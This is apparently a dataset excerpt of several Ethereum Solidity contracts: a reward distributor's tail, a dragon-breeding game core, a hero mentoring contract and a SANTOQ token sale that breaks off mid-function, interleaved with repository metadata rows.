info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(PepeBank).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 80,410 | 13,401 |
f708201f34b40607460ef9fbbe0782e23496570118dd63c3adfcd2305d5102df
| 17,428 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Game/0xa4ec8e6ce545dfc3197724bec6db486b1558a35e.sol
| 4,833 | 16,621 |
pragma solidity 0.4.25;
library SafeMath8 {
function mul(uint8 a, uint8 b) internal pure returns (uint8) {
if (a == 0) {
return 0;
}
uint8 c = a * b;
assert(c / a == b);
return c;
}
function div(uint8 a, uint8 b) internal pure returns (uint8) {
return a / b;
}
function sub(uint8 a, uint8 b) internal pure returns (uint8) {
assert(b <= a);
return a - b;
}
function add(uint8 a, uint8 b) internal pure returns (uint8) {
uint8 c = a + b;
assert(c >= a);
return c;
}
function pow(uint8 a, uint8 b) internal pure returns (uint8) {
if (a == 0) return 0;
if (b == 0) return 1;
uint8 c = a ** b;
assert(c / (a ** (b - 1)) == a);
return c;
}
}
library SafeMath16 {
function mul(uint16 a, uint16 b) internal pure returns (uint16) {
if (a == 0) {
return 0;
}
uint16 c = a * b;
assert(c / a == b);
return c;
}
function div(uint16 a, uint16 b) internal pure returns (uint16) {
return a / b;
}
function sub(uint16 a, uint16 b) internal pure returns (uint16) {
assert(b <= a);
return a - b;
}
function add(uint16 a, uint16 b) internal pure returns (uint16) {
uint16 c = a + b;
assert(c >= a);
return c;
}
function pow(uint16 a, uint16 b) internal pure returns (uint16) {
if (a == 0) return 0;
if (b == 0) return 1;
uint16 c = a ** b;
assert(c / (a ** (b - 1)) == a);
return c;
}
}
library SafeMath32 {
function mul(uint32 a, uint32 b) internal pure returns (uint32) {
if (a == 0) {
return 0;
}
uint32 c = a * b;
assert(c / a == b);
return c;
}
function div(uint32 a, uint32 b) internal pure returns (uint32) {
return a / b;
}
function sub(uint32 a, uint32 b) internal pure returns (uint32) {
assert(b <= a);
return a - b;
}
function add(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
assert(c >= a);
return c;
}
function pow(uint32 a, uint32 b) internal pure returns (uint32) {
if (a == 0) return 0;
if (b == 0) return 1;
uint32 c = a ** b;
assert(c / (a ** (b - 1)) == a);
return c;
}
}
library SafeMath256 {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function pow(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
if (b == 0) return 1;
uint256 c = a ** b;
assert(c / (a ** (b - 1)) == a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function _validateAddress(address _addr) internal pure {
require(_addr != address(0), "invalid address");
}
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "not a contract owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
_validateAddress(newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Controllable is Ownable {
mapping(address => bool) controllers;
modifier onlyController {
require(_isController(msg.sender), "no controller rights");
_;
}
function _isController(address _controller) internal view returns (bool) {
return controllers[_controller];
}
function _setControllers(address[] _controllers) internal {
for (uint256 i = 0; i < _controllers.length; i++) {
_validateAddress(_controllers[i]);
controllers[_controllers[i]] = true;
}
}
}
contract Upgradable is Controllable {
address[] internalDependencies;
address[] externalDependencies;
function getInternalDependencies() public view returns(address[]) {
return internalDependencies;
}
function getExternalDependencies() public view returns(address[]) {
return externalDependencies;
}
function setInternalDependencies(address[] _newDependencies) public onlyOwner {
for (uint256 i = 0; i < _newDependencies.length; i++) {
_validateAddress(_newDependencies[i]);
}
internalDependencies = _newDependencies;
}
function setExternalDependencies(address[] _newDependencies) public onlyOwner {
externalDependencies = _newDependencies;
_setControllers(_newDependencies);
}
}
contract DragonCore {
function setRemainingHealthAndMana(uint256, uint32, uint32) external;
function increaseExperience(uint256, uint256) external;
function payDNAPointsForBreeding(uint256) external;
function upgradeGenes(uint256, uint16[10]) external;
function increaseWins(uint256) external;
function increaseDefeats(uint256) external;
function setTactics(uint256, uint8, uint8) external;
function setSpecialPeacefulSkill(uint256, uint8) external;
function useSpecialPeacefulSkill(address, uint256, uint256) external;
function setBuff(uint256, uint8, uint32) external;
function createDragon(address, uint16, uint256[2], uint256[4], uint8[11]) external returns (uint256);
function setName(uint256, string) external returns (bytes32);
}
contract DragonGetter {
function getAmount() external view returns (uint256);
function getComposedGenome(uint256) external view returns (uint256[4]);
function getCoolness(uint256) public view returns (uint32);
function getFullRegenerationTime(uint256) external view returns (uint32);
function getDragonTypes(uint256) external view returns (uint8[11]);
function getGeneration(uint256) external view returns (uint16);
function getParents(uint256) external view returns (uint256[2]);
}
contract DragonGenetics {
function createGenome(uint256[2], uint256[4], uint256[4], uint256) external view returns (uint256[4], uint8[11]);
function createGenomeForGenesis(uint8, uint256) external view returns (uint256[4]);
}
contract EggCore {
function ownerOf(uint256) external view returns (address);
function get(uint256) external view returns (uint256[2], uint8);
function isOwner(address, uint256) external view returns (bool);
function getAllEggs() external view returns (uint256[]);
function create(address, uint256[2], uint8) external returns (uint256);
function remove(address, uint256) external;
}
contract DragonLeaderboard {
function update(uint256, uint32) external;
function getDragonsFromLeaderboard() external view returns (uint256[10]);
function updateRewardTime() external;
function getRewards(uint256) external view returns (uint256[10]);
function getDate() external view returns (uint256, uint256);
}
contract Nest {
mapping (uint256 => bool) public inNest;
function getEggs() external view returns (uint256[2]);
function add(uint256) external returns (bool, uint256, uint256);
}
//////////////CONTRACT//////////////
contract Core is Upgradable {
using SafeMath8 for uint8;
using SafeMath16 for uint16;
using SafeMath32 for uint32;
using SafeMath256 for uint256;
DragonCore dragonCore;
DragonGetter dragonGetter;
DragonGenetics dragonGenetics;
EggCore eggCore;
DragonLeaderboard leaderboard;
Nest nest;
uint256 public peacefulSkillCooldown;
mapping (uint256 => uint256) public lastPeacefulSkillsUsageDates;
constructor() public {
peacefulSkillCooldown = 14 days;
}
function _checkPossibilityOfUsingSpecialPeacefulSkill(uint256 _id) internal view {
uint256 _availableFrom = lastPeacefulSkillsUsageDates[_id].add(peacefulSkillCooldown);
require(_availableFrom <= now, "special peaceful skill is not yet available");
}
function setCooldown(uint256 _value) external onlyOwner {
peacefulSkillCooldown = _value;
}
function _max(uint16 lth, uint16 rth) internal pure returns (uint16) {
if (lth > rth) {
return lth;
} else {
return rth;
}
}
function createEgg(address _sender,
uint8 _dragonType) external onlyController returns (uint256) {
return eggCore.create(_sender, [uint256(0), uint256(0)], _dragonType);
}
function sendToNest(uint256 _id) external onlyController returns (bool isHatched,
uint256 newDragonId,
uint256 hatchedId,
address owner) {
uint256 _randomForEggOpening;
(isHatched, hatchedId, _randomForEggOpening) = nest.add(_id);
// if any egg was hatched
if (isHatched) {
owner = eggCore.ownerOf(hatchedId);
newDragonId = openEgg(owner, hatchedId, _randomForEggOpening);
}
}
function openEgg(address _owner,
uint256 _eggId,
uint256 _random) internal returns (uint256 newDragonId) {
uint256[2] memory _parents;
uint8 _dragonType;
(_parents, _dragonType) = eggCore.get(_eggId);
uint256[4] memory _genome;
uint8[11] memory _dragonTypesArray;
uint16 _generation;
// if genesis
if (_parents[0] == 0 && _parents[1] == 0) {
_generation = 0;
_genome = dragonGenetics.createGenomeForGenesis(_dragonType, _random);
_dragonTypesArray[_dragonType] = 40; // 40 genes of 1 type
} else {
uint256[4] memory _momGenome = dragonGetter.getComposedGenome(_parents[0]);
uint256[4] memory _dadGenome = dragonGetter.getComposedGenome(_parents[1]);
(_genome, _dragonTypesArray) = dragonGenetics.createGenome(_parents, _momGenome, _dadGenome, _random);
_generation = _max(dragonGetter.getGeneration(_parents[0]),
dragonGetter.getGeneration(_parents[1])).add(1);
}
newDragonId = dragonCore.createDragon(_owner, _generation, _parents, _genome, _dragonTypesArray);
eggCore.remove(_owner, _eggId);
uint32 _coolness = dragonGetter.getCoolness(newDragonId);
leaderboard.update(newDragonId, _coolness);
}
function breed(address _sender,
uint256 _momId,
uint256 _dadId) external onlyController returns (uint256) {
dragonCore.payDNAPointsForBreeding(_momId);
dragonCore.payDNAPointsForBreeding(_dadId);
return eggCore.create(_sender, [_momId, _dadId], 0);
}
function setDragonRemainingHealthAndMana(uint256 _id, uint32 _health, uint32 _mana) external onlyController {
return dragonCore.setRemainingHealthAndMana(_id, _health, _mana);
}
function increaseDragonExperience(uint256 _id, uint256 _factor) external onlyController {
dragonCore.increaseExperience(_id, _factor);
}
function upgradeDragonGenes(uint256 _id, uint16[10] _dnaPoints) external onlyController {
dragonCore.upgradeGenes(_id, _dnaPoints);
uint32 _coolness = dragonGetter.getCoolness(_id);
leaderboard.update(_id, _coolness);
}
function increaseDragonWins(uint256 _id) external onlyController {
dragonCore.increaseWins(_id);
}
function increaseDragonDefeats(uint256 _id) external onlyController {
dragonCore.increaseDefeats(_id);
}
function setDragonTactics(uint256 _id, uint8 _melee, uint8 _attack) external onlyController {
dragonCore.setTactics(_id, _melee, _attack);
}
function setDragonName(uint256 _id, string _name) external onlyController returns (bytes32) {
return dragonCore.setName(_id, _name);
}
function setDragonSpecialPeacefulSkill(uint256 _id, uint8 _class) external onlyController {
dragonCore.setSpecialPeacefulSkill(_id, _class);
}
function useDragonSpecialPeacefulSkill(address _sender,
uint256 _id,
uint256 _target) external onlyController {
_checkPossibilityOfUsingSpecialPeacefulSkill(_id);
dragonCore.useSpecialPeacefulSkill(_sender, _id, _target);
lastPeacefulSkillsUsageDates[_id] = now;
}
function resetDragonBuffs(uint256 _id) external onlyController {
dragonCore.setBuff(_id, 1, 0); // attack
dragonCore.setBuff(_id, 2, 0); // defense
dragonCore.setBuff(_id, 3, 0); // stamina
dragonCore.setBuff(_id, 4, 0); // speed
dragonCore.setBuff(_id, 5, 0); // intelligence
}
function updateLeaderboardRewardTime() external onlyController {
return leaderboard.updateRewardTime();
}
// GETTERS
function getDragonFullRegenerationTime(uint256 _id) external view returns (uint32 time) {
return dragonGetter.getFullRegenerationTime(_id);
}
function isEggOwner(address _user, uint256 _tokenId) external view returns (bool) {
return eggCore.isOwner(_user, _tokenId);
}
function isEggInNest(uint256 _id) external view returns (bool) {
return nest.inNest(_id);
}
function getEggsInNest() external view returns (uint256[2]) {
return nest.getEggs();
}
function getEgg(uint256 _id) external view returns (uint16, uint32, uint256[2], uint8[11], uint8[11]) {
uint256[2] memory parents;
uint8 _dragonType;
(parents, _dragonType) = eggCore.get(_id);
uint8[11] memory momDragonTypes;
uint8[11] memory dadDragonTypes;
uint32 coolness;
uint16 gen;
// if genesis
if (parents[0] == 0 && parents[1] == 0) {
momDragonTypes[_dragonType] = 100;
dadDragonTypes[_dragonType] = 100;
coolness = 3600;
} else {
momDragonTypes = dragonGetter.getDragonTypes(parents[0]);
dadDragonTypes = dragonGetter.getDragonTypes(parents[1]);
coolness = dragonGetter.getCoolness(parents[0]).add(dragonGetter.getCoolness(parents[1])).div(2);
uint16 _momGeneration = dragonGetter.getGeneration(parents[0]);
uint16 _dadGeneration = dragonGetter.getGeneration(parents[1]);
gen = _max(_momGeneration, _dadGeneration).add(1);
}
return (gen, coolness, parents, momDragonTypes, dadDragonTypes);
}
function getDragonChildren(uint256 _id) external view returns (uint256[10] dragonsChildren,
uint256[10] eggsChildren) {
uint8 _counter;
uint256[2] memory _parents;
uint256 i;
for (i = _id.add(1); i <= dragonGetter.getAmount() && _counter < 10; i++) {
_parents = dragonGetter.getParents(i);
if (_parents[0] == _id || _parents[1] == _id) {
dragonsChildren[_counter] = i;
_counter = _counter.add(1);
}
}
_counter = 0;
uint256[] memory eggs = eggCore.getAllEggs();
for (i = 0; i < eggs.length && _counter < 10; i++) {
(_parents,) = eggCore.get(eggs[i]);
if (_parents[0] == _id || _parents[1] == _id) {
eggsChildren[_counter] = eggs[i];
_counter = _counter.add(1);
}
}
}
function getDragonsFromLeaderboard() external view returns (uint256[10]) {
return leaderboard.getDragonsFromLeaderboard();
}
function getLeaderboardRewards(uint256 _hatchingPrice) external view returns (uint256[10]) {
return leaderboard.getRewards(_hatchingPrice);
}
function getLeaderboardRewardDate() external view returns (uint256, uint256) {
return leaderboard.getDate();
}
// UPDATE CONTRACT
function setInternalDependencies(address[] _newDependencies) public onlyOwner {
super.setInternalDependencies(_newDependencies);
dragonCore = DragonCore(_newDependencies[0]);
dragonGetter = DragonGetter(_newDependencies[1]);
dragonGenetics = DragonGenetics(_newDependencies[2]);
eggCore = EggCore(_newDependencies[3]);
leaderboard = DragonLeaderboard(_newDependencies[4]);
nest = Nest(_newDependencies[5]);
}
}
| 335,329 | 13,402 |
03174f94ddf8536df896cb06b08cf94b71e7bbcffff44ac4ec69bdf2bd238b13
| 15,634 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x6c602f1798a453f90f249e208e2b64c7c09226f7.sol
| 3,849 | 12,399 |
pragma solidity ^0.4.24;
// File: node_modules/openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: node_modules/openzeppelin-solidity/contracts/utils/ReentrancyGuard.sol
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor() internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
// File: node_modules/openzeppelin-solidity/contracts/math/Safemath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: node_modules/openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: lib/CanReclaimToken.sol
contract CanReclaimToken is Ownable {
function reclaimToken(IERC20 token) external onlyOwner {
if (address(token) == address(0)) {
owner().transfer(address(this).balance);
return;
}
uint256 balance = token.balanceOf(this);
token.transfer(owner(), balance);
}
}
// File: contracts/Mentoring.sol
interface HEROES {
function getLevel(uint256 tokenId) external view returns (uint256);
function getGenes(uint256 tokenId) external view returns (uint256);
function getRace(uint256 tokenId) external view returns (uint256);
function lock(uint256 tokenId, uint256 lockedTo, bool onlyFreeze) external returns (bool);
function unlock(uint256 tokenId) external returns (bool);
function ownerOf(uint256 tokenId) external view returns (address);
function isCallerAgentOf(uint tokenId) external view returns (bool);
function addWin(uint256 tokenId, uint winsCount, uint levelUp) external returns (bool);
function addLoss(uint256 tokenId, uint256 lossesCount, uint levelDown) external returns (bool);
}
contract Mentoring is Ownable, ReentrancyGuard, CanReclaimToken {
using SafeMath for uint256;
event BecomeMentor(uint256 indexed mentorId);
event BreakMentoring(uint256 indexed mentorId);
event ChangeLevelPrice(uint256 indexed mentorId, uint256 newLevelPrice);
event Income(address source, uint256 amount);
event StartLecture(uint256 indexed lectureId,
uint256 indexed mentorId,
uint256 indexed studentId,
uint256 mentorLevel,
uint256 studentLevel,
uint256 levelUp,
uint256 levelPrice,
uint256 startedAt,
uint256 endsAt);
// event Withdraw(address to, uint256 amount);
struct Lecture {
uint256 mentorId;
uint256 studentId;
uint256 mentorLevel;
uint256 studentLevel;
uint256 levelUp;
uint256 levelPrice;
// uint256 cost;
uint256 startedAt;
uint256 endsAt;
}
HEROES public heroes;
uint256 public fee = 290; //2.9%
uint256 public levelUpTime = 20 minutes;
mapping(uint256 => uint256) internal prices;
Lecture[] internal lectures;
mapping(uint256 => uint256[]) studentToLecture;
mapping(uint256 => uint256[]) mentorToLecture;
modifier onlyOwnerOf(uint256 _tokenId) {
require(heroes.ownerOf(_tokenId) == msg.sender);
_;
}
constructor (HEROES _heroes) public {
require(address(_heroes) != address(0));
heroes = _heroes;
//fix lectureId issue - add zero lecture
lectures.length = 1;
}
/// @notice The fallback function payable
function() external payable {
require(msg.value > 0);
_flushBalance();
}
function _flushBalance() private {
uint256 balance = address(this).balance;
if (balance > 0) {
address(heroes).transfer(balance);
emit Income(address(this), balance);
}
}
function _distributePayment(address _account, uint256 _amount) internal {
uint256 pcnt = _getPercent(_amount, fee);
uint256 amount = _amount.sub(pcnt);
_account.transfer(amount);
}
function setFee(uint256 _fee) external onlyOwner
{
fee = _fee;
}
// MENTORING
function setLevelUpTime(uint256 _newLevelUpTime) external onlyOwner
{
levelUpTime = _newLevelUpTime;
}
function isMentor(uint256 _mentorId) public view returns (bool)
{
// =
return heroes.isCallerAgentOf(_mentorId); // && prices[_mentorId] != 0;
}
function inStudying(uint256 _tokenId) public view returns (bool) {
return now <= lectures[getLastLectureIdAsStudent(_tokenId)].endsAt;
}
function inMentoring(uint256 _tokenId) public view returns (bool) {
return now <= lectures[getLastLectureIdAsMentor(_tokenId)].endsAt;
}
function inLecture(uint256 _tokenId) public view returns (bool)
{
return inMentoring(_tokenId) || inStudying(_tokenId);
}
function becomeMentor(uint256 _mentorId, uint256 _levelPrice) external onlyOwnerOf(_mentorId) {
require(_levelPrice > 0);
require(heroes.lock(_mentorId, 0, false));
prices[_mentorId] = _levelPrice;
emit BecomeMentor(_mentorId);
emit ChangeLevelPrice(_mentorId, _levelPrice);
}
function changeLevelPrice(uint256 _mentorId, uint256 _levelPrice) external onlyOwnerOf(_mentorId) {
require(_levelPrice > 0);
require(isMentor(_mentorId));
prices[_mentorId] = _levelPrice;
emit ChangeLevelPrice(_mentorId, _levelPrice);
}
function breakMentoring(uint256 _mentorId) external onlyOwnerOf(_mentorId)
{
require(heroes.unlock(_mentorId));
emit BreakMentoring(_mentorId);
}
function getMentor(uint256 _mentorId) external view returns (uint256 level, uint256 price) {
require(isMentor(_mentorId));
return (heroes.getLevel(_mentorId), prices[_mentorId]);
}
function _calcLevelIncrease(uint256 _mentorLevel, uint256 _studentLevel) internal pure returns (uint256) {
if (_mentorLevel < _studentLevel) {
return 0;
}
uint256 levelDiff = _mentorLevel - _studentLevel;
return (levelDiff >> 1) + (levelDiff & 1);
}
function calcCost(uint256 _mentorId, uint256 _studentId) external view returns (uint256) {
uint256 levelUp = _calcLevelIncrease(heroes.getLevel(_mentorId), heroes.getLevel(_studentId));
return levelUp.mul(prices[_mentorId]);
}
function isRaceSuitable(uint256 _mentorId, uint256 _studentId) public view returns (bool) {
uint256 mentorRace = heroes.getGenes(_mentorId) & 0xFFFF;
uint256 studentRace = heroes.getGenes(_studentId) & 0xFFFF;
return (mentorRace == 1 || mentorRace == studentRace);
}
function startLecture(uint256 _mentorId, uint256 _studentId) external payable onlyOwnerOf(_studentId) {
require(isMentor(_mentorId));
// Check race
require(isRaceSuitable(_mentorId, _studentId));
uint256 mentorLevel = heroes.getLevel(_mentorId);
uint256 studentLevel = heroes.getLevel(_studentId);
uint256 levelUp = _calcLevelIncrease(mentorLevel, studentLevel);
require(levelUp > 0);
// check sum is enough
uint256 cost = levelUp.mul(prices[_mentorId]);
require(cost == msg.value);
Lecture memory lecture = Lecture({
mentorId : _mentorId,
studentId : _studentId,
mentorLevel: mentorLevel,
studentLevel: studentLevel,
levelUp: levelUp,
levelPrice : prices[_mentorId],
startedAt : now,
endsAt : now + levelUp.mul(levelUpTime)
});
//locking mentor
require(heroes.lock(_mentorId, lecture.endsAt, true));
//locking student
require(heroes.lock(_studentId, lecture.endsAt, true));
//save lecture
//id starts from 1
uint256 lectureId = lectures.push(lecture) - 1;
studentToLecture[_studentId].push(lectureId);
mentorToLecture[_mentorId].push(lectureId);
heroes.addWin(_studentId, 0, levelUp);
emit StartLecture(lectureId,
_mentorId,
_studentId,
lecture.mentorLevel,
lecture.studentLevel,
lecture.levelUp,
lecture.levelPrice,
lecture.startedAt,
lecture.endsAt);
_distributePayment(heroes.ownerOf(_mentorId), cost);
_flushBalance();
}
function lectureExists(uint256 _lectureId) public view returns (bool)
{
return (_lectureId > 0 && _lectureId < lectures.length);
}
function getLecture(uint256 lectureId) external view returns (uint256 mentorId,
uint256 studentId,
uint256 mentorLevel,
uint256 studentLevel,
uint256 levelUp,
uint256 levelPrice,
uint256 cost,
uint256 startedAt,
uint256 endsAt)
{
require(lectureExists(lectureId));
Lecture memory l = lectures[lectureId];
return (l.mentorId, l.studentId, l.mentorLevel, l.studentLevel, l.levelUp, l.levelPrice, l.levelUp.mul(l.levelPrice), l.startedAt, l.endsAt);
}
function getLastLectureIdAsMentor(uint256 _tokenId) public view returns (uint256) {
return mentorToLecture[_tokenId].length > 0 ? mentorToLecture[_tokenId][mentorToLecture[_tokenId].length - 1] : 0;
}
function getLastLectureIdAsStudent(uint256 _tokenId) public view returns (uint256) {
return studentToLecture[_tokenId].length > 0 ? studentToLecture[_tokenId][studentToLecture[_tokenId].length - 1] : 0;
}
function getLastLecture(uint256 tokenId) external view returns (uint256 lectureId,
uint256 mentorId,
uint256 studentId,
uint256 mentorLevel,
uint256 studentLevel,
uint256 levelUp,
uint256 levelPrice,
uint256 cost,
uint256 startedAt,
uint256 endsAt)
{
uint256 mentorLectureId = getLastLectureIdAsMentor(tokenId);
uint256 studentLectureId = getLastLectureIdAsStudent(tokenId);
lectureId = studentLectureId > mentorLectureId ? studentLectureId : mentorLectureId;
require(lectureExists(lectureId));
Lecture storage l = lectures[lectureId];
return (lectureId, l.mentorId, l.studentId, l.mentorLevel, l.studentLevel, l.levelUp, l.levelPrice, l.levelUp.mul(l.levelPrice), l.startedAt, l.endsAt);
}
//// SERVICE
//1% - 100, 10% - 1000 50% - 5000
function _getPercent(uint256 _v, uint256 _p) internal pure returns (uint) {
return _v.mul(_p).div(10000);
}
}
| 213,716 | 13,403 |
0917efb928c5f3a7cd64c91776dd6d8e8d78528642e26ecbebd8ebc50be26a95
| 10,836 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0xa9923971e41228da736cec1e6fbb4670d96d4955.sol
| 2,684 | 10,124 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SANTOQ is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "SANTOQ";
string public constant symbol = "SNQ";
uint public constant decimals = 8;
uint public deadline = now + 37 * 1 days;
uint public round2 = now + 32 * 1 days;
uint public round1 = now + 22 * 1 days;
uint256 public totalSupply = 30000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 6500e8;
uint public target0drop = 100;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0x45518A73F4659D292921e98f5A889947791A85cD;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 25000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 5 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 15 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 10 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 0e8;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
